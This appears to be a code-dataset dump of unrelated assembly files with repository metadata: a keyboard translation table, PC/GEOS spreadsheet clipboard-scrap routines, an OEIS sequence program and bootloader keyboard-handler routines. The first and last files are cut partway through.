; Map between row number and the value needed to poke into the PIO
; Entry a = scan row
; Exit a: high nibble = chunk, low nibble = row
in_getrow:
push hl
and 15
ld c,a
ld b,0
ld hl,in_rowtable
add hl,bc
ld a,(hl)
pop hl
ret
SECTION rodata_clib
in_rowtable:
defb @01000001
defb @01000010
defb @01000100
defb @01001000
defb @00100001
defb @00100010
defb @00100100
defb @00101000
defb @00010001
defb @00010010
defb @00010100
defb @00011000
SECTION rodata_clib
PUBLIC in_keytranstbl
.in_keytranstbl
; 96 bytes per table
; Chunk 3
defb '-', '5', '6', 'f', 'h', '9', ':', '}' ;- 5 6 F H 9 : }
defb 'q', 'w', 'e', 'g', 'j', 'i', 'o', 'p' ;Q W E G J I O P
defb 'a', 's', 'd', 'v', 'n', 'k', 'l', ';' ;A S D V N K L ;
defb 'z', 'x', 'c', 'b', 'm', ',', '.', '/' ;Z X C B M , . /
;Chunk 2
defb 255, 255, 255, 255, 8, 255, 255, ' ' ;END, UNK, UNK, UNK, LEFT, UNK, SPC
defb 128, 129, 130, 131, 132, 133, 134, 135 ;F1, F2, F3, F4, F5, F6, F7, F8
defb '1', '0', '4', 'r', 'y', '=','\\', 255 ;1 0 4 R Y = \ YEN
defb '2', '3', '8', 't', 'u', '7', '@', '{' ;2 3 8 T U 7 @ {
;Chunk 1
defb 255, 255, 6, 255, 255, 255, 255, 255 ;CTRL, SHIFT, CAPS, UNK, UNK, KANA, UNK, UNK
defb 255, 255, 255, 255, 255, 255, 255, 255 ;KP0, KP1, KP2, KP3, KP4, KP5, KP6, KP7
defb 255, 255, 255, 10, 11, 255, 255, 13 ;KP8, KP8, KP-, DOWN, UP, HOME, KPDEL, KPENTER
defb 9, 255, 12, 7, 255, 255, 255, 255 ;RIGHT, STATUS?, BACKSPACE, TAB, UNK, UNK, UNK, UNK
;Shifted
; Chunk 3
defb '=', '%', '&', 'F', 'H', ')', '*', ']' ;- 5 6 F H 9 : }
defb 'Q', 'W', 'E', 'G', 'J', 'I', 'O', 'P' ;Q W E G J I O P
defb 'A', 'S', 'D', 'V', 'N', 'K', 'L', '+' ;A S D V N K L ;
defb 'Z', 'X', 'C', 'B', 'M', '<', '>', '?' ;Z X C B M , . /
;Chunk 2
defb 255, 255, 255, 255, 8, 255, 255, ' ' ;END, UNK, UNK, UNK, LEFT, UNK, SPC
defb 128, 129, 130, 131, 132, 133, 134, 135 ;F1, F2, F3, F4, F5, F6, F7, F8
defb '!', '_', '$', 'R', 'Y', '-', '^', 255 ;1 0 4 R Y = \ YEN
defb '\"', '#', '(', 'T', 'U','\'', '@', '[' ;2 3 8 T U 7 @ {
;Chunk 1
defb 255, 255, 6, 255, 255, 255, 255, 255 ;CTRL, SHIFT, CAPS, UNK, UNK, KANA, UNK, UNK
defb 255, 255, 255, 255, 255, 255, 255, 255 ;KP0, KP1, KP2, KP3, KP4, KP5, KP6, KP7
defb 255, 255, 255, 10, 11, 255, 255, 13 ;KP8, KP8, KP-, DOWN, UP, HOME, KPDEL, KPENTER
defb 9, 255, 127, 7, 255, 255, 255, 255 ;RIGHT, STATUS?, BACKSPACE, TAB, UNK, UNK, UNK, UNK
;(control)
; 96 bytes per table
; Chunk 3
defb '-', '5', '6', 6, 8, '9', ':', '}' ;- 5 6 F H 9 : }
defb 17, 23, 5, 7, 10, 9, 15, 16 ;Q W E G J I O P
defb 1, 19, 4, 22, 14, 11, 12, ';' ;A S D V N K L ;
defb 26, 24, 3, 2, 13, ',', '.', '/' ;Z X C B M , . /
;Chunk 2
defb 255, 255, 255, 255, 8, 255, 255, ' ' ;END, UNK, UNK, UNK, LEFT, UNK, SPC
defb 128, 129, 130, 131, 132, 133, 134, 135 ;F1, F2, F3, F4, F5, F6, F7, F8
defb '1', '0', '4', 18, 25, '=','\\', 255 ;1 0 4 R Y = \ YEN
defb '2', '3', '8', 20, 21, '7', '@', '{' ;2 3 8 T U 7 @ {
;Chunk 1
defb 255, 255, 6, 255, 255, 255, 255, 255 ;CTRL, SHIFT, CAPS, UNK, UNK, KANA, UNK, UNK
defb 255, 255, 255, 255, 255, 255, 255, 255 ;KP0, KP1, KP2, KP3, KP4, KP5, KP6, KP7
defb 255, 255, 255, 10, 11, 255, 255, 13 ;KP8, KP8, KP-, DOWN, UP, HOME, KPDEL, KPENTER
defb 9, 255, 12, 7, 255, 255, 255, 255 ;RIGHT, STATUS?, BACKSPACE, TAB, UNK, UNK, UNK, UNK
| 35.47619
| 96
| 0.526443
|
9b1b759fc58f12390cb8a1d0ffa4c6a7eb2e8b45
| 18,068
|
asm
|
Assembly
|
Library/Spreadsheet/Spreadsheet/spreadsheetTextScrap.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/Spreadsheet/Spreadsheet/spreadsheetTextScrap.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/Spreadsheet/Spreadsheet/spreadsheetTextScrap.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1993 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: spreadsheetTextScrap.asm
AUTHOR: Gene Anderson, Mar 8, 1993
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 3/ 8/93 Initial revision
DESCRIPTION:
Code for generating text-object compatible transfer items
$Id: spreadsheetTextScrap.asm,v 1.1 97/04/07 11:14:35 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CutPasteCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TextCopyInit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize stuff for creating a text scrap
CALLED BY: CutCopyDoCopy()
PASS: ss:bp - inherited locals
ds:si - ptr to SpreadsheetInstance
RETURN: none
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 3/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TextCopyInit proc near
uses ax, bx
class SpreadsheetClass
.enter inherit CutCopyDoCopy
EC < call ECCheckInstancePtr ;>
;
; Initialize the starting row & column
;
mov ax, ds:[si].SSI_selected.CR_start.CR_column
mov ss:CCSF_local.CCSF_prevTextCell.CR_column, ax
mov ax, ds:[si].SSI_selected.CR_start.CR_row
mov ss:CCSF_local.CCSF_prevTextCell.CR_row, ax
;
; Allocate a text object associated with the clipboard
;
push si
mov ax, mask VTSF_MULTIPLE_CHAR_ATTRS or \
mask VTSF_MULTIPLE_PARA_ATTRS ;ah <- no regions
clr bx ;bx <- attach to clipboard
call TextAllocClipboardObject
movdw ss:CCSF_local.CCSF_textObject, bxsi
pop si
;
; Indicate we haven't set any style yet
;
mov ss:CCSF_local.CCSF_prevTextStyle, INVALID_STYLE_TOKEN
;
; Set up tabs to correspond to the column widths in the selection.
;
call TEmitTabsForColumns
.leave
ret
TextCopyInit endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TextCopyFinish
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Finish up stuff after creating a text scrap
CALLED BY: CutCopyDoCopy()
PASS: ss:bp - inherited locals
CCSF_local.CCSF_textObject - our text object
SSM_local.SSMDAS_tferItemHdrVMHan - VM handle of header
SSM_local.SSMDAS_vmFileHan - file handle of transfer
ds:si - ptr to SpreadsheetInstance
RETURN: none
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 3/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TextCopyFinish proc near
class SpreadsheetClass
uses ax, bx, cx, dx, si, di, bp, ds
.enter inherit CutCopyDoCopy
EC < call ECCheckInstancePtr ;>
;
; If only one cell is selected then don't emit a final tab so
; that cut/copy/paste can work with single line GenText objects
;
call SingleCell?
jc oneCellSelected
;
; Emit a final tab to handle the special case of the last
; cell in the last row, in the event it had a background
; color.
;
clr bx ;bx <- # emitted so far
mov cx, 1 ;cx <- # to emit
mov dx, C_TAB ;dx <- char to emit
call TEmitCharToText
oneCellSelected:
;
; Finish up with text object
;
movdw bxsi, ss:CCSF_local.CCSF_textObject
EC < call ECCheckOD ;>
clrdw cxdx ;cx:dx <- no owner
mov ax, TCO_RETURN_TRANSFER_FORMAT ;ax <- TextClipboardOption
mov di, -1 ;di <- use default name
call TextFinishWithClipboardObject
mov dx, ax ;dx <- VM handle of text shme
;
; Add our transfer shme to the clipboard item as the 2nd item
;
mov bx, ss:SSM_local.SSMDAS_vmFileHan
mov ax, ss:SSM_local.SSMDAS_tferItemHdrVMHan
call VMLock
mov ds, ax ;ds <- seg addr of CIH
mov ds:CIH_formatCount, 2
;
; specify text scrap
;
mov bx, (size ClipboardItemFormatInfo)
mov ds:CIH_formats[bx].CIFI_format.CIFID_manufacturer, \
MANUFACTURER_ID_GEOWORKS
mov ds:CIH_formats.[bx].CIFI_format.CIFID_type, CIF_TEXT
mov ds:CIH_formats.[bx].CIFI_vmChain.high, dx
clr ds:CIH_formats.[bx].CIFI_vmChain.low
call VMDirty
call VMUnlock
.leave
ret
TextCopyFinish endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TextCopyCell
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy one cell to the text scrap
CALLED BY: CutCopyCopyCell()
PASS: ss:bp - inherited locals
ds:si - ptr to SpreadsheetInstance data
(ax,cx) - cell coordinates (r,c)
*es:di - ptr to cell data, if any
RETURN: none
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 3/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TextCopyCell proc near
uses bx, dx, di
class SpreadsheetClass
.enter inherit CutCopyCopyCell
EC < call ECCheckInstancePtr ;>
;
; Copying to text?
;
tst ss:CCSF_local.CCSF_textObject.handle
jz done ;branch if not doing text
;
; Emit the appopriate number of tabs and CRs to get us
; to a reasonable starting point. If we're in the same row,
; we only need to worry about tabs.
;
clr bx ;bx <- no chars so far
mov dx, ss:CCSF_local.CCSF_prevTextCell.CR_column
cmp ax, ss:CCSF_local.CCSF_prevTextCell.CR_row
je emitTabs ;branch if same row
;
; We're in a different row -- emit CRs to get to the correct row.
; First emit tabs to finish out this row, though, so that
; if the last cell had background color, it will get a trailing
; tab and end in the right place. This doesn't deal with the
; last row with data, which is special-cased at the end.
;
push cx
;
; Emit tabs to end of row
;
sub cx, ds:[si].SSI_selected.CR_end.CR_column
neg cx ;cx <- # of columns
mov dx, C_TAB ;dx <- character to emit
;
; However, to handle the above case of background color, we only
; really need one tab, so to more gracefully handle the case of
; Select All followed by a copy, we max out at one tab for this.
;
jcxz noTabs ;branch if no tabs
mov cx, 1 ;cx <- # of tabs
call TEmitCharToText
noTabs:
;
; Emit CRs
;
mov cx, ax ;cx <- current row
sub cx, ss:CCSF_local.CCSF_prevTextCell.CR_row
mov dx, C_CR ;dx <- character to emit
call TEmitCharToText
pop cx
;
; If we changed rows, we need to go from the first column
; rather than the previous column, since the CR will take
; us to the start of the next row.
;
mov dx, ds:[si].SSI_selected.CR_start.CR_column
;
; We're now in the same row -- emit tabs to get to the correct column
;
emitTabs:
push cx
sub cx, dx ;cx <- # of tabs to emit
mov dx, C_TAB ;dx <- character to emit
call TEmitCharToText
pop cx
;
; See if the cell attributes have changed, and set new styles
; in the text object if so.
;
mov di, es:[di] ;es:di <- ptr to cell data
mov dx, es:[di].CC_attrs ;dx <- style token
cmp dx, ss:CCSF_local.CCSF_prevTextStyle
je gotStyle ;branch if same style
call TEmitStylesToText
mov ss:CCSF_local.CCSF_prevTextStyle, dx
gotStyle:
;
; Emit the actual text
;
call TEmitCellDataToText
;
; Save the cell for next time
;
mov ss:CCSF_local.CCSF_prevTextCell.CR_row, ax
mov ss:CCSF_local.CCSF_prevTextCell.CR_column, cx
done:
.leave
ret
TextCopyCell endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CallTextObjectPastEnd
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call the text object, assuming a range is involved and
set it to the ever-popular TEXT_ADDRESS_PAST_END.
CALLED BY: UTILITY
PASS: same as CallTextObject
ss:bx - assumed to be VisTextRange
RETURN: same as CallTextObject
DESTROYED: same as CallTextObject
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 3/ 9/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CallTextObjectPastEnd proc near
.enter inherit TextCopyCell
movdw ss:[bx].VTR_start,TEXT_ADDRESS_PAST_END
movdw ss:[bx].VTR_end, TEXT_ADDRESS_PAST_END
.leave
FALL_THRU CallTextObject
CallTextObjectPastEnd endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CallTextObject
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call the text object we attached to the clipboard
CALLED BY: UTILITY
PASS: ss:bp - inherited locals
ax - message to send to text
bx - bp to pass to message
cx, dx - data for message
RETURN: none
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 3/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CallTextObject proc near
uses bx, cx, dx, bp, si, di
.enter inherit TextCopyCell
push bx
movdw bxsi, ss:CCSF_local.CCSF_textObject
pop bp ;bp <- pass to message
EC < call ECCheckOD ;>
mov di, mask MF_CALL
call ObjMessage
.leave
ret
CallTextObject endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TEmitCharToText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Emit a character to the text scrap, and include style
changes if the character run indicates a change in cells.
CALLED BY: TextCopyCell()
PASS: ss:bp - inherited locals
dx - character to emit
cx - # of times to emit it
bx - # of chars already emitted since previous cell
RETURN: bx - # of chars, updated (length)
DESTROYED: cx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 3/ 8/93 Initial version
witt 11/15/93 DBCS-ized; this routine uses lengths
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TEmitCharToText proc near
uses ax, dx, di, es
.enter inherit TextCopyCell
EC < cmp cx, LARGEST_ROW+1 ;>
EC < ERROR_A SPREADSHEET_TOO_MANY_CHARS_FOR_TEXT_SCRAP >
segmov es, ss
charLoop:
jcxz done ;branch if no more chars
;
; See if we're in the middle of doing a run of more than one
; character, meaning we're skipping empty cells.
;
cmp bx, 1 ;after one char?
ja afterRunChecks ;branch if already done it
jb noSkip ;branch if not done it yet
;
; We're skipping empty cells -- reset the style run to account
; for the empty cells.
;
push dx
mov dx, DEFAULT_STYLE_TOKEN ;dx <- style token to use
mov ss:CCSF_local.CCSF_prevTextStyle, dx
call TEmitStylesToText
pop dx
noSkip:
;
; See if we're about to do a run of more than one character.
; If so, break it up into two parts -- one character, and
; everything else.
;
mov ax, 1 ;ax <- emit only 1st char
cmp cx, ax ;more than one char?
jae gotNumChars ;branch if so
;
; See if there are more characters than we can fit in our buffer
; If so, we need to emit them in tasty bite-sized chunks that
; we can handle.
;
afterRunChecks:
mov ax, cx ;ax <- # to emit
SBCS< cmp ax, (size locals.CL_buffer)-1 ;too many chars? >
DBCS< cmp ax, ((size locals.CL_buffer)-2)/(size wchar) >
jb gotNumChars ;branch if not too many
SBCS< mov ax, (size locals.CL_buffer)-1 ;ax <- emit max # >
DBCS< mov ax, ((size locals.CL_buffer)-2)/(size wchar) >
gotNumChars:
push ax, cx
mov cx, ax ;cx <- # of chars
mov ax, dx ;ax <- char to store
lea di, ss:locals.CL_buffer ;es:di <- ptr to buffer
SBCS< rep stosb ;store me jesus >
DBCS< rep stosw ;store me jesus >
pop ax, cx
;
; Add the char(s) to the text object
;
push ax, bx, cx, dx
mov cx, ax ;cx <- # of chars to emit
mov dx, ss
lea bx, ss:locals.CL_buffer ;dx:bx <- ptr to text
mov ax, MSG_VIS_TEXT_APPEND_PTR
call CallTextObject
pop ax, bx, cx, dx
;
; Update # of characters so far
;
sub cx, ax ;cx <- # of chars left
add bx, ax ;ax <- # of chars so far
jmp charLoop
done:
.leave
ret
TEmitCharToText endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TEmitStylesToText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Emit styles to the text scrap
CALLED BY: TextCopyCell()
PASS: ss:bp - inherited locals
ds:si - ptr to SpreadsheetInstance
dx - style token for styles to emit
RETURN: none
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 3/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetCharAttrParams struct
SCAP_params VisTextSetCharAttrParams
SCAP_attrs VisTextCharAttr
SetCharAttrParams ends
TEmitStylesToText proc near
uses ax, bx, di, es
.enter inherit TextCopyCell
EC < call ECCheckInstancePtr ;>
;
; Get the styles
;
mov ax, dx ;ax <- style token
lea di, ss:locals.CL_cellAttrs
segmov es, ss ;es:di <- ptr to buffer
call StyleGetStyleByTokenFar
;
; Initialize the parameters for setting in the text
;
sub sp, (size SetCharAttrParams)
mov bx, sp ;ss:bx <- ptr to params
lea ax, ss:[bx].SCAP_attrs ;ss:ax <- ptr to VisTextCharAttr
movdw ss:[bx].SCAP_params.VTSCAP_charAttr, ssax
push ds
segmov ds, ss
mov bx, ax ;ds:bx <- ptr to VisTextCharAttr
call ConvertCellAttrsToTextAttrsFar
pop ds
;
; Set the styles in the text object
;
mov ax, MSG_VIS_TEXT_SET_CHAR_ATTR
mov bx, sp ;ss:bx <- params
CheckHack <(offset SCAP_params.VTSCAP_range) eq 0>
call CallTextObjectPastEnd
add sp, (size SetCharAttrParams)
.leave
ret
TEmitStylesToText endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TEmitCellDataToText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: TEmit cell data to the text object
CALLED BY: TextCopyCell()
PASS: ss:bp - inherited locals
ds:si - ptr to SpreadsheetInstance
es:di - ptr to cell data
(ax,cx) - (r,c) of cell
RETURN: none
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 3/ 9/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TEmitCellDataToText proc near
uses ax, bx, cx, dx
.enter inherit TextCopyCell
EC < call ECCheckInstancePtr ;>
mov bl, es:[di].CC_type
clr bh ;bx <- CellType
call cs:cellTextRoutines[bx]
;
; We've got the text in CL_buffer -- go to town
;
mov dx, ss
lea bx, ss:locals.CL_buffer ;dx:bx <- ptr to text
clr cx ;cx <- NULL-terminated
mov ax, MSG_VIS_TEXT_APPEND_PTR
call CallTextObject
.leave
ret
cellTextRoutines nptr \
temitTextCell, ;CT_TEXT
temitConstantCell, ;CT_CONSTANT
temitFormulaCell, ;CT_FORMULA
temitBadCellType, ;CT_NAME
temitBadCellType, ;CT_CHART
temitEmptyCell, ;CT_EMPTY
temitDisplayFormulaCell ;CT_DISPLAY_FORMULA
CheckHack <(size cellTextRoutines) eq CellType>
temitTextCell:
call GetTextCellAsTextFar
retn
temitConstantCell:
call GetConstantCellAsTextFar
retn
temitFormulaCell:
call GetFormulaCellAsTextFar
retn
temitDisplayFormulaCell:
call GetDisplayFormulaCellAsTextFar
retn
temitBadCellType:
EC < ERROR ILLEGAL_CELL_TYPE >
temitEmptyCell:
mov {word}ss:locals.CL_buffer, 0
retn
TEmitCellDataToText endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TEmitTabsForColumns
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Emit tab stops that correspond to the column widths.
CALLED BY: TextCopyInit()
PASS: ss:bp - inherited locals
ds:si - SpreadsheetInstance
RETURN: none
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 3/ 9/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TEmitTabsForColumns proc near
uses cx, dx
class SpreadsheetClass
.enter inherit TextCopyInit
EC < call ECCheckInstancePtr ;>
mov cx, ds:[si].SSI_selected.CR_start.CR_column
mov dx, ds:[si].SSI_selected.CR_end.CR_column
;
; Common setup
;
sub sp, (size VisTextSetTabParams)
mov bx, sp ;ss:bx <- params
mov ss:[bx].VTSTP_tab.T_grayScreen, SDM_100
mov ss:[bx].VTSTP_tab.T_anchor, C_PERIOD
clr ax
mov ss:[bx].VTSTP_tab.T_position, ax ;tabs relative to 0
mov ss:[bx].VTSTP_tab.T_attr, al ;left, no leader
mov ss:[bx].VTSTP_tab.T_lineWidth, al
mov ss:[bx].VTSTP_tab.T_lineSpacing, al
;
; Set tabs corresponding to each column
;
tabLoop:
cmp cx, dx ;to last column?
je doneTabs ;branch if last column
push dx
call ColumnGetWidthFar
jz hiddenColumn ;branch if column hidden
shl dx, 1
shl dx, 1
shl dx, 1 ;dx <- width * 8
add ss:[bx].VTSTP_tab.T_position, dx
jc doneTabsPop ;quit if overflow
mov ax, MSG_VIS_TEXT_SET_TAB
call CallTextObjectPastEnd
hiddenColumn:
pop dx
inc cx ;cx <- next column
jmp tabLoop
doneTabsPop:
pop dx ;clean up stack
doneTabs:
add sp, (size VisTextSetTabParams)
.leave
ret
TEmitTabsForColumns endp
CutPasteCode ends
| 26.727811
| 79
| 0.60704
|
a377cd8e7692e8f65f3c38cebe97a5b4c7bf0f77
| 744
|
asm
|
Assembly
|
oeis/206/A206152.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/206/A206152.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/206/A206152.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A206152: a(n) = Sum_{k=0..n} binomial(n,k)^(n+k).
; Submitted by Christian Krause
; 1,2,10,326,64066,111968752,1091576358244,106664423412770932,67305628532703785062402,329378455047908259704557301276,15577435010841058543979449475481629020,4149966977623235242137197627437116176363522092,12927439532847513402949412641352795950115009477687570500,249723831508847726795453130350170214154325515539979167150068476692,40839849247692121843977555182875241602253392984875861222042156936609686431880,65871250613616876728222467339782847609868642203332992021973986492987719520870713230895096
mov $3,$0
lpb $0
lpb $3
mov $2,$0
add $0,$3
bin $2,$3
pow $2,$0
sub $0,$3
add $1,$2
sub $3,1
lpe
div $0,59
lpe
mov $0,$1
add $0,1
| 37.2
| 494
| 0.807796
|
6797b196db25318576cdb0661ca5ce871ba64946
| 3,817
|
asm
|
Assembly
|
lib/tgbl_keyboard.asm
|
trexxet/tgbl
|
75d5cfb8a6ffcff527e3edfbb7ab180edf9118f6
|
[
"MIT"
] | 14
|
2017-05-08T16:26:19.000Z
|
2020-11-02T14:10:06.000Z
|
lib/tgbl_keyboard.asm
|
trexxet/tgbl
|
75d5cfb8a6ffcff527e3edfbb7ab180edf9118f6
|
[
"MIT"
] | 1
|
2017-05-08T16:25:29.000Z
|
2017-05-08T16:33:57.000Z
|
lib/tgbl_keyboard.asm
|
trexxet/tgbl
|
75d5cfb8a6ffcff527e3edfbb7ab180edf9118f6
|
[
"MIT"
] | 3
|
2017-03-24T20:28:09.000Z
|
2020-11-02T14:11:10.000Z
|
; TGBL keyboard routines
; Keystroke handlers switcher, enabled by default
%define KBD_HANDLERS_ENABLED 1
%define KBD_HANDLERS_DISABLED 0
tgbl_kbd_handlers_enable db KBD_HANDLERS_ENABLED
; Keystroke handlers table pointer
tgbl_kbd_table equ 0x6b52 ; 0x7c00 - 4096 bytes stack - 2 * 0x87
; Enable/disable keystroke handlers
%macro tgblm_setKeyHandlers 1
mov byte [tgbl_kbd_handlers_enable], %1
%endmacro
; Clean keyboard handlers table
; Spoils: AX, BX
tgbl_clearKeyHandlersTable:
xor ax, ax
xor bx, bx
.clearLoop:
mov [tgbl_kbd_table + bx], ax
add bx, 2
cmp bx, 0x87 * 2
jb .clearLoop
ret
; Set keystroke handler
; Args: key, handler
%macro tgblm_initKey 2
mov word [tgbl_kbd_table + (%1) * 2], (%2)
%endmacro
; Clear keystroke handler
; Args: key
%macro tgblm_deinitKey 1
mov word [tgbl_kbd_table + (%1) * 2], 0
%endmacro
; Keyboard handler
; Spoils: AH, BX
tgbl_keyboardHandler:
; Check if handlers enabled
cmp byte [tgbl_kbd_handlers_enable], KBD_HANDLERS_DISABLED
je .noKey
; Get key
mov ah, 01h
int 16h
jz .noKey
; Get handler
movzx bx, ah
shl bx, 1
add bx, tgbl_kbd_table
mov bx, [bx]
; If handler exists, call it
test bx, bx
jz .end
call bx
.end:
; Clear key buffer
xor ah, ah
int 16h
.noKey:
ret
; Get ASCII character of the key pressed
; Returns: AL = ASCII character
; Spoils: AH
tgbl_getChar:
xor ah, ah
int 16h
ret
; Read input string until Enter is pressed
; Args: address of string, max length including zero terminator
; Spoils: AX, BX, CX, DI
%macro tgblm_getString 2
mov di, %1
mov bx, %2
call tgbl_getString
%endmacro
tgbl_getString:
mov cx, 1 ; CX - counter for read symbols
.readLoop:
cmp cx, bx
jae .end
xor ah, ah
int 16h
cmp al, 0x0D ; CR
je .end
mov byte [di], al
inc di
inc cx
jmp .readLoop
.end:
mov byte [di], 0
ret
; Keyboard scan codes
KEY_A equ 0x1E
KEY_B equ 0x30
KEY_C equ 0x2E
KEY_D equ 0x20
KEY_E equ 0x12
KEY_F equ 0x21
KEY_G equ 0x22
KEY_H equ 0x23
KEY_I equ 0x17
KEY_J equ 0x24
KEY_K equ 0x25
KEY_L equ 0x26
